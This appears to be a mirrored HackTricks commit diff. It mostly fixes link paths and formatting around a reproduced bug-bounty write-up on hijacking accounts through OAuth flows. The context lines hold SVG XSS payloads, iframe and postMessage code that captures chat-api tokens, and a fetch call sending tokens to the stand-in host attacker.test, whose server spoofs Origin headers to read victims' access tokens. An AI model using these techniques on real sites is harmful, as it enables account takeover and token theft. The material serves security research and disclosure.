mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 14:08:26 +00:00
GITBOOK-3788: No subject
This commit is contained in:
parent
20f2f4d00e
commit
f944a3c8d3
6 changed files with 26 additions and 26 deletions
|
@ -524,7 +524,7 @@
|
|||
* [Login Bypass](pentesting-web/login-bypass/README.md)
|
||||
* [Login bypass List](pentesting-web/login-bypass/sql-login-bypass.md)
|
||||
* [NoSQL injection](pentesting-web/nosql-injection.md)
|
||||
* [OAuth to Account takeover](pentesting-web/oauth-to-account-takeover/README.md)
|
||||
* [OAuth to Account takeover](pentesting-web/oauth-to-account-takeover.md)
|
||||
* [OAuth - Happy Paths, XSS, Iframes & Post Messages to leak code & state values](pentesting-web/oauth-to-account-takeover/oauth-happy-paths-xss-iframes-and-post-messages-to-leak-code-and-state-values.md)
|
||||
* [Open Redirect](pentesting-web/open-redirect.md)
|
||||
* [Parameter Pollution](pentesting-web/parameter-pollution.md)
|
||||
|
|
|
@ -80,8 +80,8 @@ If the authentication response could be **reduced to a simple boolean just try t
|
|||
|
||||
## OAuth to Account takeover
|
||||
|
||||
{% content-ref url="oauth-to-account-takeover/" %}
|
||||
[oauth-to-account-takeover](oauth-to-account-takeover/)
|
||||
{% content-ref url="oauth-to-account-takeover.md" %}
|
||||
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## References
|
||||
|
|
|
@ -256,7 +256,7 @@ The following parameters are particularly interesting for SSRF attacks:
|
|||
|
||||
## OAuth providers Race Conditions
|
||||
|
||||
If the platform you are testing is an OAuth provider [**read this to test for possible Race Conditions**](../race-condition.md).
|
||||
If the platform you are testing is an OAuth provider [**read this to test for possible Race Conditions**](race-condition.md).
|
||||
|
||||
## References
|
||||
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
This content was taken from [https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url](https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)
|
||||
**This content was taken from** [**https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url**](https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)****
|
||||
|
||||
## Explanation of different OAuth-dances
|
||||
|
||||
|
@ -495,11 +495,11 @@ On the website that had this storage loaded on the non-happy path of the OAuth-d
|
|||
|
||||
<figure><img src="https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example2.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Gadget 3: example 2, customer mix-up in CDN – DIY storage-SVG without origin check**](https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-3-example-2-customer-mix-up-cdn-diy-storage-svg-without-origin-check)
|
||||
## **Gadget 3: example 2, customer mix-up in CDN – DIY storage-SVG without origin check**
|
||||
|
||||
Since the analytics-service itself had a bug bounty, I was also interested to see if I could find a way to leak URLs also for the websites that had configured proper origins for the storage-iframe.
|
||||
|
||||
When I started searching for the `cdn.analytics.example.com`-domain online without the customer-part of it, I noticed that this CDN also contained images uploaded by customers of the service:
|
||||
When I started searching for the `cdn.analytics.example.com` domain online without the customer-part of it, I noticed that this CDN also contained images uploaded by customers of the service:
|
||||
|
||||
```
|
||||
https://cdn.analytics.example.com/img/customer42326/event-image.png
|
||||
|
@ -532,7 +532,7 @@ I uploaded a SVG-file with a simple XSS-payload:
|
|||
|
||||
`https://cdn.customer12345.analytics.example.com/img/customer94342/test.svg`
|
||||
|
||||
```
|
||||
```html
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 500 500" width="100%" height="100%" version="1.1">
|
||||
<script xlink:href="data:,alert(document.domain)"></script>
|
||||
|
@ -541,7 +541,7 @@ I uploaded a SVG-file with a simple XSS-payload:
|
|||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example3.png)
|
||||
|
||||
Not great. The CDN added a `Content-Security-Policy: default-src 'self'`-header to everything under `img/`. You could also see the server header mentioned S3 – disclosing that the content was uploaded to an S3-bucket:
|
||||
Not great. The CDN added a `Content-Security-Policy: default-src 'self'` header to everything under `img/`. You could also see the server header mentioned S3 – disclosing that the content was uploaded to an S3-bucket:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example5.png)
|
||||
|
||||
|
@ -553,7 +553,7 @@ I could then upload an SVG that would create the same form of storage-handler an
|
|||
|
||||
I uploaded a SVG that looked like this:
|
||||
|
||||
```
|
||||
```html
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 5 5" width="100%" height="100%" version="1.1">
|
||||
<script xlink:href="data:application/javascript;base64,dmFyIGJsb2NrTGlzdCA9IFtdOwp2YXIgYWxsb3dMaXN0ID0gW107Ci4uLg=="></script>
|
||||
|
@ -562,7 +562,7 @@ I uploaded a SVG that looked like this:
|
|||
|
||||
I could then utilize the same methodology like in example #1, but instead of iframing the `storage.html` I could just iframe the SVG with the url-encoded slash:
|
||||
|
||||
```
|
||||
```html
|
||||
<div id="leak"><iframe
|
||||
id="i" name="i"
|
||||
src="https://cdn.customer12345.analytics.example.com/img%2fcustomer94342/listener.svg"
|
||||
|
@ -575,11 +575,11 @@ Since no website would be able to patch this themselves, I sent a report to the
|
|||
|
||||
The whole idea about looking at misconfiguration bugs on the third-party was mainly to confirm that there are multiple ways to achieve the leaking of the tokens and since the third-party had a bug bounty, this was just a different receiver for the same kind of bug, the difference being that the impact was for all of the customers of the analytics service instead. In this case, the customer of the third-party actually had the ability to properly configure the tool to not make it leak data to the attacker. However, since the sensitive data was still sent to the third-party it was interesting to see if there was somehow a way to completely bypass the customer’s proper configuration of the tool.
|
||||
|
||||
[**Gadget 3: example 3, chat-widget API**](https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-3-example-3-chat-widget-api)
|
||||
## **Gadget 3: example 3, chat-widget API**
|
||||
|
||||
The last example was based on a chat-widget that was present on all pages of a website, even the error pages. There were multiple postMessage-listeners, one of them without a proper origin check that only allowed you to start the chat-popup. Another listener had a strict origin check for the chat-widget to receive an initialization-call and the current chat-api-token that was used for the current user.
|
||||
|
||||
```
|
||||
```html
|
||||
<iframe src="https://chat-widget.example.com/chat"></iframe>
|
||||
<script>
|
||||
window.addEventListener('message', function(e) {
|
||||
|
@ -623,7 +623,7 @@ If you clicked on the chat-icon in the main window:
|
|||
2. The parent window would then make an API-call to the chat-service. The API-endpoint was CORS-restricted to the specific website configured for the service. You had to provide a valid `Origin`-header for the API-call with the chat-api-token to allow the request to be sent.
|
||||
3. The API-call from the main window would contain `location.href` and register it as the “current page” of the visitor with the chat-api-token. The response would then contain tokens to connect to a websocket to initiate the chat-session:
|
||||
|
||||
```
|
||||
```json
|
||||
{
|
||||
"api_data": {
|
||||
"current_page": "https://example.com/#access_token=test",
|
||||
|
@ -637,7 +637,7 @@ In this example, I realized the announcement of the chat-api-token would always
|
|||
|
||||
1. Created a malicious page that’s embedding an iframe of the chat-widget, added a postMessage-listener to listen for the chat-api-token. Also, triggered an event to reload the iframe if I haven’t gotten the api-token in 2 seconds. This was to make sure that I also supported the victims that had never initiated the chat, and since I could trigger to open the chat remotely, I first needed the chat-api-token to start polling for the data in the chat-API from server-side.
|
||||
|
||||
```
|
||||
```html
|
||||
<div id="leak"><iframe
|
||||
id="i" name="i"
|
||||
src="https://chat-widget.example.com/chat" onload="reloadToCheck()"></iframe></div>
|
||||
|
@ -665,7 +665,7 @@ In this example, I realized the announcement of the chat-api-token would always
|
|||
```
|
||||
3. The `launchChatWindowByPostMessage()`-function will continuously send a postMessage to the main window, if opened, to launch the chat-widget:
|
||||
|
||||
```
|
||||
```javascript
|
||||
function launchChatWindowByPostMessage() {
|
||||
var launch = setInterval(function() {
|
||||
if(b) { b.postMessage({type: 'launch-chat'}, '*'); }
|
||||
|
@ -674,7 +674,7 @@ In this example, I realized the announcement of the chat-api-token would always
|
|||
```
|
||||
4. When the victim clicked the link and ended up on the error page, the chat would launch and a chat-api-token would be created. My reload of the chat-widget iframe on the malicious page would get the `api-token` through postMessage and I could then start to look in the API for the current url of the victim:
|
||||
|
||||
```
|
||||
```javascript
|
||||
function lookInApi(token) {
|
||||
var look = setInterval(function() {
|
||||
fetch('https://fetch-server-side.attacker.test/?token=' + token).then(e => e.json()).then(e => {
|
||||
|
@ -692,7 +692,7 @@ In this example, I realized the announcement of the chat-api-token would always
|
|||
```
|
||||
5. The server-side page at `https://fetch-server-side.attacker.test/?token=xxx` would make the API-call with the added Origin-header to make the Chat-API think I was using it as a legit origin:
|
||||
|
||||
```
|
||||
```javascript
|
||||
addEventListener('fetch', event => {
|
||||
event.respondWith(handleRequest(event.request))
|
||||
})
|
||||
|
@ -706,29 +706,29 @@ In this example, I realized the announcement of the chat-api-token would always
|
|||
```
|
||||
6. When the victim clicked the link and went through the OAuth-dance and landed on the error page with the token added, the chat-widget would suddenly popup, register the current URL and the attacker would have the access token from the victim.
|
||||
|
||||
### [Other ideas for leaking URLs](https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#other-ideas-for-leaking-urls)
|
||||
## Other ideas for leaking URLs
|
||||
|
||||
There are still other different types of gadgets waiting to be found. Here’s one of those cases I wasn’t able to find in the wild but could be a potential way to get the URL to leak using any of the response modes available.
|
||||
|
||||
#### [A page on a domain that routes any postMessage to its opener](https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#a-page-on-a-domain-that-routes-any-postmessage-to-its-opener)
|
||||
### A page on a domain that routes any postMessage to its opener
|
||||
|
||||
Since all `web_message` response types cannot validate any path of the origin, any URL on a valid domain can receive the postMessage with the token. If there’s some form of postMessage-listener proxy on any of the pages on the domain, that takes any message sent to it and sends everything to its `opener`, I can make a double-window.open chain:
|
||||
|
||||
Attacker page 1:
|
||||
|
||||
```
|
||||
```html
|
||||
<a href="#" onclick="a=window.open('attacker2.html'); return false;">Accept cookies</a>
|
||||
```
|
||||
|
||||
Attacker page 2:
|
||||
|
||||
```
|
||||
```html
|
||||
<a href="#" onclick="b=window.open('https://accounts.google.com/oauth/...?', '', 'x'); location.href = 'https://example.com/postmessage-proxy'; return false;">Login to google</a>
|
||||
```
|
||||
|
||||
And the `https://example.com/postmessage-proxy` would have something along the lines of:
|
||||
|
||||
```
|
||||
```javascript
|
||||
// Proxy all my messages to my opener:
|
||||
window.onmessage=function(e) { opener.postMessage(e.data, '*'); }
|
||||
```
|
||||
|
|
|
@ -41,8 +41,8 @@ In that case you may try to bruteforce credentials.
|
|||
|
||||
### Oauth Takeovers
|
||||
|
||||
{% content-ref url="oauth-to-account-takeover/" %}
|
||||
[oauth-to-account-takeover](oauth-to-account-takeover/)
|
||||
{% content-ref url="oauth-to-account-takeover.md" %}
|
||||
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### SAML Vulnerabilities
|
||||
|
|
|
@ -125,7 +125,7 @@ Users that open files uploaded by users or automatically generated including use
|
|||
|
||||
### **External Identity Management**
|
||||
|
||||
* [ ] [**OAUTH to Account takeover**](../oauth-to-account-takeover/)
|
||||
* [ ] [**OAUTH to Account takeover**](../oauth-to-account-takeover.md)
|
||||
* [ ] [**SAML Attacks**](../saml-attacks/)
|
||||
|
||||
### **Other Helpful Vulnerabilities**
|
||||
|
|
Loading…
Add table
Reference in a new issue